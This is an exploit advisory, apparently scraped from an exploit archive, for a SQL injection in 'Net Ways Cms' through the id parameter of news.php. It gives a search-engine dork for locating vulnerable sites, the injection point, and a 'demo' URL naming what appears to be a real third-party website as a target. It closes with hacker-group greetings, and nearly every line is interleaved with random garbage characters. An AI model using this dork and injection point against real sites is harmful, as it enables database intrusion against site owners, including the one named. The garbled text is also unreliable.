################################################################################??########
+ ]1 r4 B) _4 E6 X8 ?1 N#
" t$ j7 r- U2 F7 ^: ^1 L; t$ a# Exploit Title : Net Ways Cms Sql Injection Vulnerability
1 B3 i3 O4 I# A# 9 |8 N q0 w( }8 m
# Author : IrIsT.Ir
+ `- Q$ _" @ P# ( }, [ G4 c6 F
# Discovered By : Am!r ' @: `0 V4 X8 q1 K8 y2 c1 T
#
* n3 F: w5 C" ]7 d2 y# Home : http://IrIsT.Ir/forum : U5 T( J3 n6 u* u" B) n9 n
#
j" H( _0 x! N+ A6 R/ _" M# Software Link : http://www.netways.com/ www.political-security.com
, G9 {) i4 B( M5 G7 p& n* q# {' _$ e# Z8 r& w
# Security Risk : High
. C# A2 d5 n, e% M8 V+ b#
: ?! ^* O8 B4 { r% I; h# Version : All Version
/ C6 H0 X- K! w8 j+ v9 e#
$ a- M" n( ] y0 d: ?/ U# Tested on : GNU/Linux Ubuntu - Windows Server - win7 ) [% c0 O* C* M: b
# / [8 v/ a9 D+ j+ h$ l
# Dork : intext:"Designed & developed by NetWays" . T1 ]( z# P! l5 y5 ~! i
# , i: d9 ] r4 G% ~1 O, Q
################################################################################??######## 4 E3 O9 D3 H% u: U( j$ a0 C
# - @% K" ?6 o N1 X
# Expl0iTs :
: @" C2 ?; ?" b+ C% o# 5 ~1 E: N1 K: ?$ n# h2 [0 w3 X
# http://target.com/news.php?id=[Sql]
# z; L/ c4 T2 L$ S. M# k# & d$ k" I" ^% s% W% ~0 N' L1 T* J
#
9 n- t8 j- I: b, F) ?# D3mo :
" U9 `, U1 ^/ D0 B) A" y0 P) f9 s# 0 A! z* Y7 y A% l. }/ [: E
# http://compagnieparento.com/news.php?id=7[Sql] k) E* E& O! e
# ) Z9 ^9 {& i0 o
################################################################################??######## 4 p$ p4 Z# Q @& |9 `$ M7 D$ `
#
& E; C. m; G ]$ E6 @$ j& d# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
% K3 X5 e3 F+ f$ |; R0 b# Q#
% O' l& p. R- Y1 }. p4 \" i& v1 Q5 d# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
+ f* U; g, T, y& o3 a9 M. l _$ H#
7 W( z: r# H$ @7 p# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
- r/ @6 B" e: x5 f& @& f+ {+ n' r1 n#
) A3 k) O# x8 t; }8 G4 \################################################################################??######## |